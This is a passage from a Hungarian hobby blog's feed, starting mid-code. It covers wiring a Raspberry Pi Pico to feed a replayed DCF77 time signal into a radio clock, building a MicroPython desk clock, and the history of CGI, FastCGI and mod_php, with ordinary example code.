  .day = (<span class="hljs-keyword">int8_t</span>) dom,
  .hour = (<span class="hljs-keyword">int8_t</span>) hour,
  .<span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int8_t</span>) <span class="hljs-built_in">min</span>,
  .sec = <span class="hljs-number">0</span>,
  .dotw = (<span class="hljs-keyword">int8_t</span>) dow,
};

rtc_set_datetime(&amp;t);
</code></pre>
<p>És ezzel kész is vagyunk, Internet nélkül sikerült megkapnunk a pontos időt.</p>
<h3>A másik irány</h3>
<p>Maradt egy szegény, szerencsétlen óránk, aki most nem tudja magát szinkronizálni, mert elvettük tőle a rádió modult. Aztán kedves kollégám, <a href="https://github.com/potato">potato</a> bedobta az ötletet, hogy mi lenne, ha adnánk neki egy kamu jelet, úgyhogy ismét azon kaptam magam, hogy csavarozom szét az órát és a régi modul helyére forrasztottam pár jumper kábelt. Először csak a <code>GND</code> és az <code>NTCO</code> helyére, de később bekötöttem a <code>PON</code>-t is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring3.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Összekötöttem a Pico-val és elkezdtem neki jelet küldeni, de nem annyira tetszett az órának.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/error.mp4" type="video/mp4" />
</video>

<p>Először arra gyanakodtam, hogy a <code>PON</code> hiánya okozza a problémát, hogy akkor kap jelet az óra, amikor nem számít rá, úgyhogy bekötöttem azt is, de nem lett jobb a villogás. Aztán a forrasztásra gyanakodtam, hogy véletlenül rövidre zárhattam valamit, de néhány perc nagyítóval vizsgálgatás alapján minden jónak tűnt.</p>
<p>Végül az lett gyanús, hogy a Pico 3,3 voltot ad ki magából, az óra pedig csak 3 voltról megy, hátha túl sok neki a 3,3 volt. Előtúrtam pár ellenállást egy dobozból, de nem sikerült olyat találni, ami egy az egyben megoldja a problémát. Egy ellenállás bekötése után javult a helyzet, kettő után megjavulni látszott, úgyhogy biztonság kedvéért hármat kötöttem be végül.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring4.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Már csak egy kis kód kell hozzá. Egy korábban felvett valós adatot próbáltam meg visszajátszani, amit percenként ismételtem, de az óra sehogy sem akarta az igazságot. Belefutottam néhány bug-ba, hogy rossz adatot küldtem ki, de ezek javítása után sem akart még működni. Állítgattam egy kicsit az időzítésen, hátha túl pontos neki az, ahogy küldöm, de semmi. Végül az lett a megoldás, hogy az óra biztosra akar menni és egy adatsorozat kevés neki. Egymás után két sikeres adatsorozatra van szükség ahhoz, hogy beállítsa magát.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_SIGNAL_PIN 12</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_ENABLED_PIN 13</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  <span class="hljs-keyword">uint64_t</span> buffers[] = {
    <span class="hljs-comment">//-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0</span>
    <span class="hljs-number">0b0000000010010000001111100001001011100000000101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000001101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000010101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000011101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011110000100101000010100001000100</span>,
    <span class="hljs-number">0b0000000010010000001111100001001011100000101101000010100001000100</span>,
  };
  <span class="hljs-keyword">int</span> buffer_idx = <span class="hljs-number">0</span>;

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    <span class="hljs-keyword">if</span> (gpio_get(DCF_ENABLED_PIN)) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"dcf module is not enabled\n"</span>);
      sleep_ms(<span class="hljs-number">5000</span>);
      <span class="hljs-keyword">continue</span>;
    }

    <span class="hljs-keyword">uint64_t</span> b = buffers[buffer_idx];
    ++buffer_idx;

    <span class="hljs-keyword">int</span> length;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">59</span>; ++i) {
      length = b &amp; <span class="hljs-number">1</span> ? <span class="hljs-number">200</span>: <span class="hljs-number">100</span>;
      <span class="hljs-built_in">printf</span>(b &amp; <span class="hljs-number">1</span> ? <span class="hljs-string">"1"</span> : <span class="hljs-string">"0"</span>);

      gpio_put(LED_PIN, <span class="hljs-literal">true</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">true</span>);
      sleep_ms(length);

      gpio_put(LED_PIN, <span class="hljs-literal">false</span>);
      gpio_put(DCF_SIGNAL_PIN, <span class="hljs-literal">false</span>);
      sleep_ms(<span class="hljs-number">1000</span> - length);

      b &gt;&gt;= <span class="hljs-number">1</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n"</span>);

    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>Nem teljesítettem túl, az már egyszer biztos. Csak be vannak égetve az adatsorok, de így egy csomó konvertálgatástól megkíméltem magam. Lényeg, hogy az óra a bekapcsolás után elkezd szinkronizálni és néhány perc múlva beállítja a kapott &quot;pontos&quot; időt. A Pico-n lévő LED pedig eközben a jel ütemére villog.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/sync.mp4" type="video/mp4" />
</video>

<p>Ezzel azt hiszem a végére is értünk kis kalandunknak, kiaknáztunk majdnem minden szórakozási lehetőséget, amit egy olcsó rádió időszinkronos óra nyújthat. Van még benne egy hőmérséklet szenzor, egy Piezo hangjelző és egy LED háttérvilágítás is, a vállalkozó szelleműeknek.</p>

]]></content:encoded>
        </item>
            <item>
            <title>(Nincs még) Itt az idő</title>
            <link>https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/</link>
            <pubDate>Thu, 28 Dec 2023 10:29:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">b068b34f0743a0cf3501e7ddb996385d</guid>
            <description>Asztali óra készítése Raspberry Pi Pico-val</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Egy ideje gondolkodom azon, hogy érdekes projekt lenne összerakni egy asztali órát. Lehetne benne mondjuk stopper, visszaszámlálók, amik tudnak párhuzamosan futni, esetleg hőmérséklet és páratartalom kijelzés, ilyesmik. Persze a sors máshogy akarta, úgyhogy nem fogunk ilyen messzire jutni.</p>
<p>Először is, rendeltem hozzá pár alkatrészt:</p>
<ul>
<li>egy <a href="https://shop.pimoroni.com/products/pico-gfx-pack">háttérvilágításos LCD</a>-t, amin van néhány gomb is</li>
<li>egy <a href="https://www.raspberrypi.com/documentation/microcontrollers/debug-probe.html">Debug Probe</a>-ot, amit csak ki akartam próbálni</li>
<li>és egy <a href="https://www.raspberrypi.com/documentation/microcontrollers/raspberry-pi-pico.html">Pico W</a>-t, ami ezt az egészet majd meghajtja</li>
</ul>
<p>Aztán el is kezdődhet a móka... miután úgy egy hónapra megfeledkezünk az egészről.</p>
<h3>C/C++ SDK</h3>
<p>A problémák már a Debug Probe környékén elkezdtek jelentkezni. Bár kisebb, mintha egy Pico-t alakítottunk volna át, viszont nem tudja árammal ellátni az éppen debug-olt Pico-t, úgyhogy összességében a több kábel miatt nekem egy kicsit csalódás volt.</p>
<p>Függetlenül attól, hogy Picoprobe vagy Debug Probe, mindkét esetben szükség volt egy <a href="https://shop.pimoroni.com/products/pico-omnibus">extra hardverre</a> (amit szerencsére már régebben beszereztem), hogy egyszerre tudjam rákötni a Pico-ra a kijelzőt és a probe-ot is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_debug_probe_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p><a href="https://deadlime.hu/2022/10/21/a-legkisebb-pi/">Korábban már volt róla szó</a>, hogy a CLion-os megoldás Linux-on egész szépen működött, de Windows-on beletört a bicskám. Ez csak azért probléma, mert Linux-ot a laptopomra telepítettem, az asztali gépen pedig Windows van és kényelmetlen nagyobb fejlesztéseket laptopon csinálni.</p>
<p>Így hát nekifutottam másodszor is a Windows-os változatnak, most WSL2-t használva. A dolgok szépen feltelepültek WSL2-ben a Linux-os leírás alapján, a <a href="https://learn.microsoft.com/en-us/windows/wsl/connect-usb"><code>usbipd-win</code> segítségével</a> meg is lehetett osztani a Pico-t vele, a CLion-ban is van WSL2 támogatás, úgyhogy sikeresen le tudta build-elni a projektet, de az OpenOCD-t nem tudja WSL2-ben futtatni, úgyhogy a debug-olás sajnos nem működött. Van is róla <a href="https://youtrack.jetbrains.com/issue/CPP-32484">egy ticket</a>, úgyhogy egyszer talán majd ez is megjavul.</p>
<p>Ilyenkor kerülnek a projektek parkolópályára, ahonnan majd évek múlva talán előkerülnek, de ez esetben volt még egy tervem. Van egy alternatív megoldás: <a href="https://www.raspberrypi.com/documentation/microcontrollers/micropython.html">MicroPython</a>. Ha el tudjuk engedni a villámgyors C kódot, akkor megírhatjuk az egészet Python-ban is. Egy prototípushoz akár még elég is lehet.</p>
<h3>MicroPython</h3>
<p>Természetesen az ajánlott (működő) megoldással itt sem voltam elégedett, ami a <a href="https://thonny.org/">Thonny</a> nevezetű Python IDE lett volna. Nincs vele különösebb probléma, de ha már van egy PyCharm-om, akkor azt szeretném használni. Szerencsére van hozzá MicroPython plugin, amivel minden probléma nélkül fel tudtam küldeni a kódot a Pico-ra.</p>
<p>A Pico-ra először egy MicroPython-os UF2 fájl kerül. Esetünkben egy olyan, amit <a href="https://github.com/pimoroni/pimoroni-pico/releases">az LCD kijelző gyártója szolgáltatott</a>, hogy az LCD-t meghajtó modulokat is el tudjuk érni. A hardver-es rész is lényegesen egyszerűbb lett így. Nincs szükség a Debug Probe-ra, csatlakoztathatjuk a Pico-t közvetlenül a kijelzőre is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_gfx_pack.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<h4>Kódkiegészítés</h4>
<p>Nyilván túl egyszerű lett volna az élet, ha minden csak úgy működött volna. Az első probléma a kódkiegészítés volt. A MicroPython plugin-ben van ugyan valamennyi támogatás, de nem volt az igazi. Szerencsére léteznek <a href="https://peps.python.org/pep-0561/#stub-only-packages">stub-ok</a>, mint a <a href="https://pypi.org/project/micropython-rp2-pico_w-stubs/"><code>micropython-rp2-pico_w-stubs</code></a>, ami részben megoldja a problémát, de a módosított MicroPython miatt bizonyos modulokról természetesen ez a stub sem tud. Szerencsére a gyártó <a href="https://github.com/pimoroni/pimoroni-pico-stubs">csinált a saját moduljaihoz stub-ot is</a>, de nem találtam belőle hivatalos pip csomagot, úgyhogy csak letöltöttem a ZIP-et és a fájlrendszerből telepítettem.</p>
<p>Szeretném azt mondani, hogy ezek után már minden gördülékenyen ment, de nem. Volt például a <code>GfxPack</code> osztály, aminek nem ismerte fel a PyCharm a <code>display</code> property-jét. Nem vagyok otthon a stub-okban, de ránézésre az jónak tűnt:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        self.display: PicoGraphics
        self.i2c: PimoroniI2C
</code></pre>
<p>Úgyhogy lehet a PyCharm-ban nem stimmel valami. Ha megmódosítottam egy kicsit a stub-ot, akkor már minden rendben volt:</p>
<pre><code class="hljs python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GfxPack</span>:</span>
    <span class="hljs-comment"># ...</span>

    display: PicoGraphics
    i2c: PimoroniI2C

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self)</span>:</span>
        ...
</code></pre>
<p>Na de most. Most már biztos minden jó, nem? Nem. Mondjuk úgy, hogy használható. Az importok környékén vannak még furcsaságok, nem ajánl fel importálásra bizonyos modulokat, de ha kézzel beimportálom, akkor felismeri őket.</p>
<p>Mindenesetre tudunk kódot írni, amit aztán le is tudunk futtatni a Pico-n, viszont a PyCharm-on belüli MicroPytho REPL valamilyen oknál fogva nem működik. A serial-ra kiküldött <code>print</code>-eket vagy éppen egy exception stack trace-ét nem látjuk sehol, ami azért nem könnyíti meg az életet. PuTTY segítségével rá tudok csatlakozni és működik is, viszont amíg a PuTTY rá van csatlakozva, addik a PyCharm nem tud kódot küldeni rá, úgyhogy elég kényelmetlen a helyzet. Linux-on biztos ez is működne.</p>
<h4>Az óra</h4>
<p>Azért a végére csak össze kellene dobni valami óra-szerűt, hogy legyen valami sikerélményünk is. A kinézetet először a számítógépen rajzolgattam meg, kiexportáltam <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format">WBMP</a> formátumban (van még valaki, aki emlékszik a <a href="https://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>-ra?), amit aztán egész egyszerűen be lehetett olvasni és beállítani a kijelzőn, hogy a tényleges hardveren is meg tudjam nézni.</p>

<p class="image image-pixelated image-center">
    <img src="https://deadlime.hu/uploads/2023/pico_clock_ui.png" width="512" height="256" alt="" title="" loading="lazy" />
</p>

<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'pico-clock.wbm'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    buffer = bytearray([b ^ <span class="hljs-number">0xFF</span> <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> f.read()[<span class="hljs-number">-1024</span>:]])

gp.display.set_framebuffer(buffer)
gp.display.update()
</code></pre>
<p>A WBMP elején egy változó méretű header van, de tudjuk az adat méretét, mivel a kijelző (és így a kép is) 128*64 pixeles, minden bit egy pixel állapotát tárolja, szóval az adat (128/8)*64, azaz 1024 byte. Szerencsére a framebuffer formátuma is pont ilyen, úgyhogy könnyű dolgunk van. A kép eredetileg negatívban jelent meg, úgyhogy a <code>b ^ 0xFF</code> segítségével még invertálni is kellett a biteket.</p>
<p>Itt is jelentkeztek azért kisebb problémák a PyCharm környékén. Nem másolta fel automatikusan a képfájlt a Pico-ra, kellett a fájlon egy jobb klikk és <code>Run 'Flash pico-clock.wbm...'</code> menüpontot nyomni (minden alkalommal, amikor a kép frissült).</p>
<p>Most, hogy megvan a kinézetünk, meg is feledkezhetünk róla és összerakhatunk végre egy prototípust. Az első lépés az lenne, hogy felmegyünk WiFi-re és NTP segítségével szerzünk egy pontos időt:</p>
<pre><code class="hljs python"><span class="hljs-keyword">import</span> network
<span class="hljs-keyword">import</span> ntptime
<span class="hljs-keyword">import</span> time


wlan = network.WLAN(network.STA_IF)
wlan.active(<span class="hljs-literal">True</span>)
wlan.connect(<span class="hljs-string">'SSID'</span>, <span class="hljs-string">'secret'</span>)

<span class="hljs-keyword">while</span> <span class="hljs-keyword">not</span> wlan.isconnected():
    print(<span class="hljs-string">'WLAN is not ready\n'</span>)
    time.sleep(<span class="hljs-number">1</span>)

ntptime.host = <span class="hljs-string">'hu.pool.ntp.org'</span>
ntptime.settime()

wlan.disconnect()
</code></pre>
<p>Aztán ezt szépen meg is jelenítjük:</p>
<pre><code class="hljs python"><span class="hljs-keyword">from</span> gfx_pack <span class="hljs-keyword">import</span> GfxPack


gp = GfxPack()
gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    t = time.localtime()

    gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.clear()
    gp.display.set_pen(<span class="hljs-number">15</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap6'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">0</span>]}</span>. <span class="hljs-subst">{t[<span class="hljs-number">1</span>]:<span class="hljs-number">02</span>}</span>. <span class="hljs-subst">{t[<span class="hljs-number">2</span>]:<span class="hljs-number">02</span>}</span>.'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)

    gp.display.set_font(<span class="hljs-string">'bitmap14_outline'</span>)
    gp.display.text(<span class="hljs-string">f'<span class="hljs-subst">{t[<span class="hljs-number">3</span>]:<span class="hljs-number">02</span>}</span>:<span class="hljs-subst">{t[<span class="hljs-number">4</span>]:<span class="hljs-number">02</span>}</span>'</span>, <span class="hljs-number">0</span>, <span class="hljs-number">20</span>)
    <span class="hljs-keyword">if</span> t[<span class="hljs-number">5</span>] % <span class="hljs-number">2</span>:
        gp.display.set_pen(<span class="hljs-number">15</span>)
    <span class="hljs-keyword">else</span>:
        gp.display.set_pen(<span class="hljs-number">0</span>)
    gp.display.text(<span class="hljs-string">':'</span>, <span class="hljs-number">32</span>, <span class="hljs-number">20</span>)

    gp.display.update()

    time.sleep_ms(<span class="hljs-number">30</span>)
</code></pre>
<p>Esetleg még a háttérvilágításról gondoskodhatunk, hogy kicsit jobban hasonlítson egy kilencvenes évekbeli Casio karórára.</p>
<pre><code class="hljs python">light_timeout = <span class="hljs-literal">None</span>
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> light_timeout <span class="hljs-keyword">and</span> gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + <span class="hljs-number">2000000000</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">180</span>, <span class="hljs-number">60</span>, <span class="hljs-number">140</span>)

    <span class="hljs-keyword">if</span> light_timeout <span class="hljs-keyword">and</span> light_timeout &lt; time.time_ns():
        light_timeout = <span class="hljs-literal">None</span>
        gp.set_backlight(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">40</span>)

    <span class="hljs-comment"># ...</span>
</code></pre>
<p>A végeredmény pedig (némi extra státusz információ hozzáadása után):</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2023/pico_clock.mp4" type="video/mp4" />
</video>

<p>Még egy prototípushoz képest is rengeteg dolog hiányzik belőle, de első körben sajnos csak eddig jutott a projekt. Ezen kívül a MicroPython nem tud időzónákat kezelni, úgyhogy el kell költözni egy UTC időzónás országba, hogy használni is tudjuk.</p>
<p>Hogy ezek után mi lesz a sorsa az órának? Vajon a fiók mélyére kerül vagy talán a későbbiekben még találkozhatunk vele? Csak az idő a megmondhatója.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Hátrahagyott technológiák</title>
            <link>https://deadlime.hu/2023/11/24/hatrahagyott-technologiak/</link>
            <pubDate>Fri, 24 Nov 2023 17:24:08 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[HTTP]]></category>
                    <category><![CDATA[CGI]]></category>
                    <category><![CDATA[FastCGI]]></category>
                    <category><![CDATA[SCGI]]></category>
                    
            <guid isPermaLink="false">bbff75cc3476576a823a8e3e8f58d61e</guid>
            <description>A dinamikus web rövid története a CGI-től az alkalmazásokba épített HTTP szerverekig</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/deserted-computer.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>1993-at írunk. Egy dinamikus weboldalt kell fejlesztened, mondjuk egy vendégkönyvet, az akkoriban nagyon menő volt. Hogyan állnál neki? Ha az a válaszod, hogy ráguglizol, hogy hogyan kell csinálni, akkor el kell, hogy szomorítsalak, a Google csak 5 év múlva fog megjelenni. Az AltaVista-ra is még két évet várni kell. Stack Overflow? Még 15 év... Nem lehetett könnyű dolga a régi idők fejlesztőinek.</p>
<p>Néha nem árt visszatekinteni ezekre a régi időkre, hátha elkerülhetjük a hibákat, amiket elkövettek, vagy megakadályozhatnak abban, hogy újra feltaláljuk a kereket. Ilyesmi megfontolásból indultam el erre a kis felfedező útra, hogy kiderüljön, hogyan jutottunk el ahhoz a webfejlesztéshez, amit ma ismerünk.</p>
<h3>Common Gateway Interface</h3>
<p>A 90-es évek elején kezdték el fejleszteni, kicsivel később a <a href="https://datatracker.ietf.org/doc/html/rfc3875">3875-ös számú RFC</a> lett belőle. Ahogy a neve is jelzi, egy interface a webszerver és egy alkalmazás között. Ez a gyakorlatban azt jelenti, hogy ha van egy tetszőleges futtatható állományunk, azt a webszerver - megfelelő konfigurálás után - meg tudja futtatni és a kimenetét visszaküldi válaszként.</p>
<p>A kérés adatait környezeti változókban és a standard inputon keresztül kapja meg a programunk, a választ pedig standard output-ra kell produkálnia, egy kis formai megkötéssel (egy <code>Content-Type</code> header-rel kell kezdődnie a válasznak).</p>
<p>Előnye, hogy egyszerű, csak felmásolunk egy fájlt egy könyvtárba, futtathatóvá tesszük és kész is vagyunk. Hátránya, hogy minden request egy új process elindítását jelenti, ami lassú lehet és nem is skálázódik túl jól.</p>
<p>Legegyszerűbben onnan lehetett az ilyen konfigurációkat felismerni, hogy ezek az alkalmazások általában a <code>/cgi-bin/</code> könyvtárban éltek, amit még a mai napig is ellenőriznek az automata scanning eszközök, hátha találnak ott valami érdekeset.</p>
<p>És amikor tetszőleges futtatható állományt mondtam, akkor azt tényleg úgy is értettem. Akár egy shell script is lehet egy dinamikus weboldal alapja (ha elég bátor vagy ahhoz, hogy egy shell script-ben dolgozz fel query string-eket és <a href="https://stackoverflow.com/a/23517227">multipart kéréseket</a>):</p>
<pre><code class="hljs bash"><span class="hljs-meta">#!/bin/sh
</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Content-Type: text/plain"</span>
<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Hello World!"</span>

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Environment:"</span>
env

<span class="hljs-built_in">echo</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Input:"</span>
cat -
<span class="hljs-built_in">echo</span>
</code></pre>
<p>Ha meghívjuk ezt az endpointot, akkor a következő adatokat kapjuk vissza:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> curl -d<span class="hljs-string">'foo=bar'</span> <span class="hljs-string">'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'</span></span>
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar
</code></pre>
<p>A környezeti változók nevei ismerősek lehetnek, sok helyen átvették ezeket az elnevezéseket, valószínűleg azért, hogy könnyebb legyen az átállás CGI-ről.</p>
<p>A lehetőségek száma határtalan, <a href="https://github.com/deadlime/cgi-playground/tree/main/cgi-bin">bedobáltam néhány extra példát a kapcsolódó Github repository-ba</a> (C kódból fordított bináris? Miért is ne!), de akkoriban talán a Perl volt a <code>cgi-bin</code> könyvtár igazi sztárja:</p>
<pre><code class="hljs perl"><span class="hljs-comment">#!/usr/bin/perl</span>

<span class="hljs-keyword">print</span> <span class="hljs-string">"Content-type: text/plain\n\nHello, World.\n"</span>;

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nEnrivonment:\n"</span>;
<span class="hljs-keyword">foreach</span> <span class="hljs-keyword">my</span> $key (<span class="hljs-keyword">keys</span> %ENV) {
    <span class="hljs-keyword">print</span> <span class="hljs-string">"$key=$ENV{$key}\n"</span>;
}

<span class="hljs-keyword">print</span> <span class="hljs-string">"\nInput:\n"</span>;
<span class="hljs-keyword">while</span> (&lt;&gt;) {
    <span class="hljs-keyword">print</span>;
}
<span class="hljs-keyword">print</span> <span class="hljs-string">"\n"</span>;
</code></pre>
<p>Aztán 1995-ben megérkezett a PHP. Eleinte még ugyanúgy CGI scriptként.</p>
<pre><code class="hljs php"><span class="hljs-comment">#!/usr/bin/php82</span>
<span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">print</span>(<span class="hljs-string">"Content-Type: text/plain\n\nHello World!\n"</span>);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nEnvironment:\n"</span>);
var_dump($_SERVER);

<span class="hljs-keyword">print</span>(<span class="hljs-string">"\nInput:\n"</span>);
var_dump(file_get_contents(<span class="hljs-string">'php://stdin'</span>));
</code></pre>
<p>Itt egy kicsit meglepett, hogy a <code>$_SERVER</code> tömbben találtam meg a megfelelő adatokat, nem pedig az <code>$_ENV</code> tömbben, lehet az újabb PHP az oka, vagy máshogy kellett volna hívnom CGI scriptek esetén, nem tudom. De nem is nagyon számít, mert nem sokkal később magunk mögött hagyhattuk a CGI-t.</p>
<h3>Alternatív megoldások</h3>
<h4>FastCGI</h4>
<p>Szintén 1995 körül jelenik meg a FastCGI, aminek a célja az, hogy a CGI teljesítménybeli problémáit orvosolja. A Perl-es <a href="https://metacpan.org/release/LEEJO/CGI-Fast-2.17/source/lib/CGI/Fast.pm#L43">CGI::Fast</a> csomag alapján úgy tűnik több módon is működhet a dolog. A webszerver elindíthatja a CGI process-t egy vagy több példányban, standard input-on küldve neki az FCGI kéréseket és standard output-on várva az FCGI válaszokat. Ugyanez működhet úgy is, hogy a webszerver és az FCGI process Unix socket-en vagy rendes hálózati socket-en keresztül kommunikál. A webszerver ezután átalakítja az FCGI választ HTTP válasszá és kész is vagyunk.</p>
<p>A protokoll leírása alapján egy process-nek a webszerver egyszerre akár több kérést is küldhet, amit az FCGI process párhuzamosan dolgozhat fel, ha támogat ilyesmit.</p>
<p>A rendszer előnye, hogy egyszerűbb FCGI szervert implementálni, mint HTTP szervert (az eredeti HTTP/1.0 <a href="https://datatracker.ietf.org/doc/html/rfc1945">RFC 1945</a> is 60 oldalas, a HTTP/1.1 <a href="https://datatracker.ietf.org/doc/html/rfc2068">RFC 2068</a> pedig már 162 oldalas). Hátránya az lehet, hogy egy elég bizalmi kapcsolat van a webszerver és az FCGI szerver között, ha valaki más tud véletlenül direktbe az FCGI szerverrel beszélgetni, annak lehet, hogy nem lesz jó vége (például az FCGI szerver kódja nem annyira betonbiztos, mint a HTTP szerveré, nem viseli olyan jól a hibás kéréseket, vagy mondjuk a webszerver által kikényszerített autentikációt lehet így megkerülni).</p>
<p>Mint azt említettem, a <a href="https://www.mit.edu/~yandros/doc/specs/fcgi-spec.html">FastCGI protokoll</a> egyszerűbb, mint a HTTP, így az alkalmazások könnyebben leimplementálhatják. A móka kedvéért össze is dobtam gyorsan <a href="https://github.com/deadlime/cgi-playground/blob/main/bin/fcgi_server.py">egy egyszerű Python-os FCGI szervert</a>, ami csak annyira képes, hogy a korábbi CGI scriptjeinkhez hasonló választ adjon vissza minden kérésre.</p>
<h4>mod_php</h4>
<p>1997 környékén járhatunk, amikor megjelent a PHP 3 és a mod_php Apache modul. Legalábbis a web archívumos turkálások alapján azt a következtetést vontam le, hogy a 3-as PHP-val jött a mod_php is, de nem vagyok teljesen biztos benne. A történet szempontjából talán nem is annyira lényeges.</p>
<p>A mod_php esetén a PHP interpreter az Apache process-en belül fut és így futtatja le a PHP fájlokat. A szorosabb integráció egyrészt előnyös, mert nem kell kérésenként új process-t indítani, de megvan a maga hátránya is. A PHP interpreter akkor is ott foglalja a memóriát, ha a kérés csak egy statikus fájlra irányul.</p>
